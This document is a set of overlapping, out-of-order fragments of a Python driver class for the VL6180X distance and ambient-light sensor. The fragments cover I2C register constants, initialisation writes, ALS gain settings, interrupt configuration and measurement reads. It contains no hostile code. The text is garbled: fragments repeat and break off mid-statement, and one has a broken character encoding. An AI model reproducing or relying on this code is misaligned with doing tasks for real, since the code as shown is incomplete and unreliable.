"sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01,",
"return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | ( mode",
"@return return status @n 0 �?No threshold events reported @n VL6180X_LEVEL_LOW :value <",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_VAL>>8, [self.VL6180X_RESULT_RANGE_VAL]) value = self.__i2cbus.read_byte(self.__i2c_addr) return value ''' @brief Clear ranging interrupt '''",
"times gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set up the success, false :Setup",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdd,0xf8]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x9f,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xa3,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb7,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000",
"''' @brief Initialize sensor @param CE The pin number attached to the CE",
"return ranging data ,uint mm ''' def range_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) return self.range_get_measurement() '''",
"the GPIO1 interrupt function @param mode Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt",
"iic_addr self.__gain = 1.0 self.__atime =100 ''' @brief Initialize sensor @param CE The",
"range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value =",
"0x017 VL6180X_SYSRANGE_START = 0x018 VL6180X_SYSRANGE_THRESH_HIGH = 0x019 VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B",
"VL6180X_SYSALS_START = 0x038 VL6180X_SYSALS_THRESH_HIGH = 0x03A VL6180X_SYSALS_THRESH_LOW = 0x03C VL6180X_SYSALS_INTERMEASUREMENT_PERIOD = 0x03E VL6180X_SYSALS_ANALOGUE_GAIN",
"time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the period for measuring light",
"@n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT high by default @n VL6180X_LOW_INTERRUPT GPIO1 interrupt",
"(period_ms/10) -1 else: period_ms = 254 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,period_ms]) ''' @brief turn on interleaved",
"result ''' @brief turn off interleaved mode ''' def __stop_interleave_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8,",
"events reported @n VL6180X_LEVEL_LOW :value < thresh_low @n VL6180X_LEVEL_HIGH :value > thresh_high @n",
"Initialize the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET]) reset = self.__i2cbus.read_byte(self.__i2c_addr) if(reset):",
"1 times gain: VL6180X_ALS_GAIN_1 = 6 @n 40 times gain: VL6180X_ALS_GAIN_40 = 7",
"def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = (result>>3) & 0x07 return",
"| 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the identifier of sensor",
"time import RPi.GPIO as GPIO class DFRobot_VL6180X: # IIC ADDR VL6180X_IIC_ADDRESS = 0x29",
"0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID of the sensor VL6180X_ID =",
"ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result &",
"def clear_range_interrupt(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,1]) ''' @brief Clear the ambient light interrupt ''' def",
"''' def als_set_inter_measurement_period(self,period_ms): if(period_ms>10): if(period_ms<2550): period_ms = (period_ms/10) -1 else: period_ms = 254",
"result & 0x07 return result ''' @brief Gets the interrupt state of the",
"[self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr) result = result & 0x07 return result ''' @brief",
"0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 # The valid ID of the",
"= 0x0B VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR =",
"the range measurenments VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_THRESH_HIGH>>8, [self.VL6180X_SYSALS_THRESH_HIGH,threshold_h>>8,value_h]) ''' @brief Set the ALS gain @param gain the value of",
"def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a = self.__i2cbus.read_byte(self.__i2c_addr) b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8)",
"20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain = 10 elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0",
"VL6180X_ALS_GAIN_40 = 7 # The result of the range measurenments VL6180X_NO_ERR = 0x00",
"''' @brief Gets the interrupt state of the measured light intensity @return return",
"ALS Threshold Value @param thresholdL :Lower Threshold @param thresholdH :Upper threshold ''' def",
"[0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xd9,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdb,0xce]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xdc,0x03])",
"if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain == self.VL6180X_ALS_GAIN_10): self.__gain",
"return True ''' @brief get the identifier of sensor @return Authentication information '''",
"sensor @return Authentication information ''' def __get_device_id(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_IDENTIFICATION_MODEL_ID>>8, [self.VL6180X_IDENTIFICATION_MODEL_ID]) id = self.__i2cbus.read_byte(self.__i2c_addr) return",
"address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014",
"= 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW = 3 VL6180X_NEW_SAMPLE_READY =",
"DFRobot Co.Ltd (http://www.dfrobot.com) @licence The MIT License (MIT) @author [yangfeng]<<EMAIL>> @version V1.0 @date",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x02, [0x08,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x96,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00,",
"b = self.__i2cbus.read_byte(self.__i2c_addr) value = (a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result",
"=gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the identifier of",
"VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD = 0x10A VL6180X_FIRMWARE_RESULT_SCALER = 0x120 VL6180X_I2C_SLAVE_DEVICE_ADDRESS = 0x212 VL6180X_INTERLEAVED_MODE_ENABLE = 0x2A3 #",
"[self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured light data @return return The light",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET,0]) ''' @brief Set Range Threshold Value @param",
"times gain: VL6180X_ALS_GAIN_1_25 = 5 @n 1 times gain: VL6180X_ALS_GAIN_1 = 6 @n",
"the interrupt mode for the ambient light @param mode Enable interrupt mode @n",
"''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode == self.VL6180X_HIGH_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10])",
"5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 # The result of the range",
"low by default ''' def set_interrupt(self,mode): if(mode == self.VL6180X_DIS_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x20]) elif(mode ==",
"data @return return The light intensity,uint lux ''' def als_get_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_ALS_VAL>>8, [self.VL6180X_RESULT_ALS_VAL]) a",
"@url https://github.com/DFRobot/DFRobot_VL6180X \"\"\" import smbus import time import RPi.GPIO as GPIO class DFRobot_VL6180X:",
"= 0 @n 10 times gain: VL6180X_ALS_GAIN_10 = 1 @n 5 times gain:",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_INTERLEAVED_MODE_ENABLE>>8, [self.VL6180X_INTERLEAVED_MODE_ENABLE,0x01]) ''' @brief Gets the interrupt state of",
"elif(gain == self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain",
"interrupt mode @n VL6180X_INT_DISABLE interrupt disable @n VL6180X_LEVEL_LOW value < thresh_low @n VL6180X_LEVEL_HIGH",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x03]) ''' @brief Retrieve ranging data @return return ranging data",
"turn on interleaved mode ''' def start_interleaved_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8,",
"[0xff,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x00,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x99,0x05]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa6,0x1b]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xac,0x3e]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00])",
"the default level of the INT pin and enable the GPIO1 interrupt function",
"40 gain =gain | 0x40 self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_ANALOGUE_GAIN>>8, [self.VL6180X_SYSALS_ANALOGUE_GAIN,gain]) return True ''' @brief get the",
"def als_start_continuous_mode(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_START>>8, [self.VL6180X_SYSRANGE_START,0x01]) time.sleep(1) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CLEAR>>8, [self.VL6180X_SYSTEM_INTERRUPT_CLEAR,7]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x03]) ''' @brief Configure the",
"[self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief",
"0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times gain: VL6180X_ALS_GAIN_10",
"elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return return ranging",
"@n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def range_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO]) result = self.__i2cbus.read_byte(self.__i2c_addr)",
"''' @brief Configuration ranging period @param period_ms Measurement period, in milliseconds ''' def",
"[self.VL6180X_INTERLEAVED_MODE_ENABLE,0x00]) ''' @brief Gets validation information for range data @return Authentication information '''",
"self.VL6180X_ALS_GAIN_5): self.__gain = 5.0 elif(gain == self.VL6180X_ALS_GAIN_2_5): self.__gain = 2.5 elif(gain == self.VL6180X_ALS_GAIN_1_67):",
"DFRobot_VL6180X.py # DFRobot_VL6180X Class infrastructure, implementation of underlying methods @copyright Copyright (c) 2010",
"[0xbb,0x3c]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xb2,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xca,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0x98,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xb0,0x17]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x01, [0xad,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xff,0x05])",
"lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured light",
"ID of the sensor VL6180X_ID = 0xB4 # 8 gain modes for ambient",
"for range data @return Authentication information ''' def get_range_result(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_RANGE_STATUS>>8, [self.VL6180X_RESULT_RANGE_STATUS]) result =",
"= 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F # GPIO1",
"[0xa7,0x1f]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0x30,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD,0x09]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_REPEAT_RATE>>8, [self.VL6180X_SYSRANGE_VHV_REPEAT_RATE,0xFF]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_VHV_RECALIBRATE>>8, [self.VL6180X_SYSRANGE_VHV_RECALIBRATE,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME>>8, [self.VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME,0x31]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD>>8, [self.VL6180X_SYSALS_INTERMEASUREMENT_PERIOD,0x31])",
"# IIC ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID =",
"VL6180X_SYSRANGE_THRESH_LOW = 0x01A VL6180X_SYSRANGE_INTERMEASUREMENT_PERIOD = 0x01B VL6180X_SYSRANGE_MAX_CONVERGENCE_TIME = 0x01C VL6180X_SYSRANGE_EARLY_CONVERGENCE_ESTIMATE = 0x022 VL6180X_SYSRANGE_MAX_AMBIENT_LEVEL_MULT",
"new sample ready ''' def range_config_interrupt(self,mode): if(mode > self.VL6180X_NEW_SAMPLE_READY): return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO])",
"= ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous measurement of ambient light intensity",
"== self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain = 40 gain =gain",
"= 1.25 elif(gain == self.VL6180X_ALS_GAIN_1): self.__gain = 1.0 elif(gain == self.VL6180X_ALS_GAIN_40): self.__gain =",
"= 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017 VL6180X_SYSRANGE_START =",
"def set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain = 20 elif(gain ==",
"the interrupt mode for ranging @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt",
"< thresh_low OR value > thresh_high @n VL6180X_NEW_SAMPLE_READY new sample ready ''' def",
"return False self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO]) value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8,",
"ADDR VL6180X_IIC_ADDRESS = 0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0",
"= iic_addr self.__gain = 1.0 self.__atime =100 ''' @brief Initialize sensor @param CE",
"self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x10]) elif(mode == self.VL6180X_LOW_INTERRUPT): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_MODE_GPIO1>>8, [self.VL6180X_SYSTEM_MODE_GPIO1,0x30]) ''' @brief A single range @return",
"= 0x04E VL6180X_RESULT_INTERRUPT_STATUS_GPIO = 0x04F VL6180X_RESULT_ALS_VAL = 0x050 VL6180X_RESULT_RANGE_VAL = 0x062 VL6180X_READOUT_AVERAGING_SAMPLE_PERIOD =",
"VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40",
"Enable interrupt mode @n VL6180X_DIS_INTERRUPT disabled interrupt @n VL6180X_DIS_INTERRUPT GPIO1 interrupt enabled, INT",
":Set up the success, false :Setup failed ''' def set_als_gain(self,gain): if(gain>7): return False",
":Setup failed ''' def set_als_gain(self,gain): if(gain>7): return False if(gain == self.VL6180X_ALS_GAIN_20): self.__gain =",
"8 gain modes for ambient light VL6180X_ALS_GAIN_20 = 0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5",
"IIC addr @param addr The IIC address to be modified ''' def set_iic_addr(self,addr):",
"intensity,uint lux ''' def als_poll_measurement(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSALS_START>>8, [self.VL6180X_SYSALS_START,0x01]) return self.als_get_measurement() ''' @brief Obtain measured",
"0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016 VL6180X_SYSTEM_GROUPED_PARAMETER_HOLD = 0x017",
"The IIC address to be modified ''' def set_iic_addr(self,addr): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS>>8, [self.VL6180X_I2C_SLAVE_DEVICE_ADDRESS,addr]) self.__i2c_addr =",
"> 10): if(period_ms < 2550): period_ms = ( period_ms / 10 ) -1",
"@brief A single range @return return ranging data ,uint mm ''' def range_poll_measurement(self):",
"6 VL6180X_ALS_GAIN_40 = 7 # The result of the range measurenments VL6180X_NO_ERR =",
"= 0x29 # The sensor register address VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010",
"(a<<8) | b result = ((0.32*100*value)/(self.__gain*self.__atime)) return result ''' @brief Enable continuous measurement",
"= 3 @n 1.57 times gain: VL6180X_ALS_GAIN_1_67 = 4 @n 1.27 times gain:",
"0 VL6180X_ALS_GAIN_10 = 1 VL6180X_ALS_GAIN_5 = 2 VL6180X_ALS_GAIN_2_5 = 3 VL6180X_ALS_GAIN_1_67 = 4",
"mode selection VL6180X_INT_DISABLE = 0 VL6180X_LEVEL_LOW = 1 VL6180X_LEVEL_HIGH = 2 VL6180X_OUT_OF_WINDOW =",
"0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR = 0x015 VL6180X_SYSTEM_FRESH_OUT_OF_RESET = 0x016",
"VL6180X_NO_ERR = 0x00 VL6180X_ALS_OVERFLOW_ERR = 0x01 VL6180X_ALS_UNDERFLOW_ERR = 0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR",
"value > thresh_high @n VL6180X_NEW_SAMPLE_READY :new sample ready ''' def als_get_interrupt_status(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO>>8, [self.VL6180X_RESULT_INTERRUPT_STATUS_GPIO])",
"0x02 VL6180X_NO_ERR = 0x00 VL6180X_EARLY_CONV_ERR = 0x06 VL6180X_MAX_CONV_ERR = 0x07 VL6180X_IGNORE_ERR = 0x08",
"VL6180X_ALS_GAIN_1 = 6 @n 40 times gain: VL6180X_ALS_GAIN_40 = 7 @return true :Set",
"4 VL6180X_ALS_GAIN_1_25 = 5 VL6180X_ALS_GAIN_1 = 6 VL6180X_ALS_GAIN_40 = 7 # The result",
"of gain(range 0-7) @n 20 times gain: VL6180X_ALS_GAIN_20 = 0 @n 10 times",
"= addr ''' @brief Initialize the sensor configuration ''' def __init(self): self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET>>8, [self.VL6180X_SYSTEM_FRESH_OUT_OF_RESET])",
"VL6180X_IDENTIFICATION_MODEL_ID = 0x000 VL6180X_SYSTEM_MODE_GPIO0 = 0X010 VL6180X_SYSTEM_MODE_GPIO1 = 0X011 VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO = 0x014 VL6180X_SYSTEM_INTERRUPT_CLEAR",
"def __init__(self,iic_addr =VL6180X_IIC_ADDRESS,bus = 1): self.__i2cbus = smbus.SMBus(bus) self.__i2c_addr = iic_addr self.__gain =",
"[self.VL6180X_SYSTEM_INTERRUPT_CLEAR,2]) ''' @brief Single measurement of ambient light @return return The light intensity,uint",
"for the ambient light @param mode Enable interrupt mode @n VL6180X_INT_DISABLE interrupt disable",
"[0x97,0xfd]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe3,0x00]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe4,0x04]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe5,0x02]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe6,0x01]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xe7,0x03]) self.__i2cbus.write_i2c_block_data(self.__i2c_addr,0x00, [0xf5,0x02])",
"VL6180X_RAW_Range_UNDERFLOW_ERR = 0x0C VL6180X_RAW_Range_OVERFLOW_ERR = 0x0D VL6180X_Range_UNDERFLOW_ERR = 0x0E VL6180X_Range_OVERFLOW_ERR = 0x0F #",
"0x07 return result ''' @brief Gets the interrupt state of the measured light",
"interrupt mode for the ambient light @param mode Enable interrupt mode @n VL6180X_INT_DISABLE",
"bus Set to IICBus @param addr Set to IIC addr ''' def __init__(self,iic_addr",
"value = self.__i2cbus.read_byte(self.__i2c_addr) value = value | mode self.__i2cbus.write_i2c_block_data(self.__i2c_addr,self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO>>8, [self.VL6180X_SYSTEM_INTERRUPT_CONFIG_GPIO,value]) ''' @brief Configure",
